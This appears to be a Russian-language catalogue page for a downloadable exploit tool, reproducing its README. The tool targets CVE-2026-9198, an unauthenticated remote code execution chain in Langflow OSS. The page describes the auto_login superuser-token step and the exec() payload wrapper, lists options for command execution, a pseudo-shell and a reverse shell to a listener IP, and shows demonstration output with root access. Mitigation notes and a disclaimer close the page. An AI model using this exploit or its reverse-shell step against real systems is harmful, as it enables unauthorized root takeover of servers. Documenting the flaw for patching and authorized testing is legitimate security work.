Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-9198_exploit — Эксплойт для CVE-2026-9198, содержащий PoC-пейлоады и шаги валидации для оценки уязвимости в целевых средах. | Kitploit
Инструменты/GitHubGitHub/chessalekin/cve-2026-9198_exploit
Анализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

Эксплойт для CVE-2026-9198, содержащий PoC-пейлоады и шаги валидации для оценки уязвимости в целевых средах.

Репозиторий
222 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9198 — Неаутентифицированный RCE в Langflow OSS

Неаутентифицированное удалённое выполнение кода в IBM Langflow OSS (1.0.0 – 1.10.0) при развёртывании по умолчанию. Объединяет две уязвимости:

  • CVE-2026-9103 — GET /api/v1/auto_login выдаёт JWT с правами SUPERUSER любому вызывающему без учётных данных, если включён AUTO_LOGIN (по умолчанию в Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code передаёт предоставленный пользователем Python-код в exec() без песочницы.

Вместе (CVE-2026-9198) неаутентифицированный атакующий получает выполнение кода от имени пользователя службы Langflow — которым часто является root.

Что он делает

  1. Запрашивает bearer-токен суперпользователя у /api/v1/auto_login (без аутентификации).

  2. Отправляет полезную нагрузку на /api/v1/validate/code. Конечная точка выполняет код через exec(), чтобы «проверить» его; Python вычисляет значения аргументов по умолчанию во время определения, поэтому полезная нагрузка оборачивается в аргумент по умолчанию функции:

    def _v(a=exec('<payload>')): pass
    

    Для выполнения команд полезная нагрузка вызывает исключение, сообщением которого является вывод команды, и конечная точка возвращает его в ответе (function.errors[]).

Использование

./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

Демонстрация

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

Требования

  • Python 3.6+ (только стандартная библиотека — pip install не требуется)

Примечания

  • Работает только пока включён AUTO_LOGIN (по умолчанию для Langflow < 1.5; на >= 1.5 он должен быть явно задан как LANGFLOW_AUTO_LOGIN=true). Если auto_login не возвращает токен, цель не эксплуатируема этим путём — передайте действительный токен через -k, если он у вас есть.
  • Вывод команды возвращается в ответе function.errors[]; stderr объединяется с stdout, поэтому неудачные команды всё равно показывают свою ошибку.
  • Код выполняется от имени пользователя службы Langflow. Если это root (обычно при запуске langflow run напрямую под systemd/Docker от имени root), это прямой root на хосте.

Устранение

  • Обновите Langflow за пределы затронутого диапазона; validate/code не должен выполнять через exec() недоверенный ввод, а auto_login не должен выдавать токены суперпользователя.
  • Установите LANGFLOW_AUTO_LOGIN=false и настройте реальные учётные данные суперпользователя.
  • Никогда не запускайте службу Langflow от имени root.

Отказ от ответственности

Этот проект публикуется исключительно для авторизованного тестирования безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент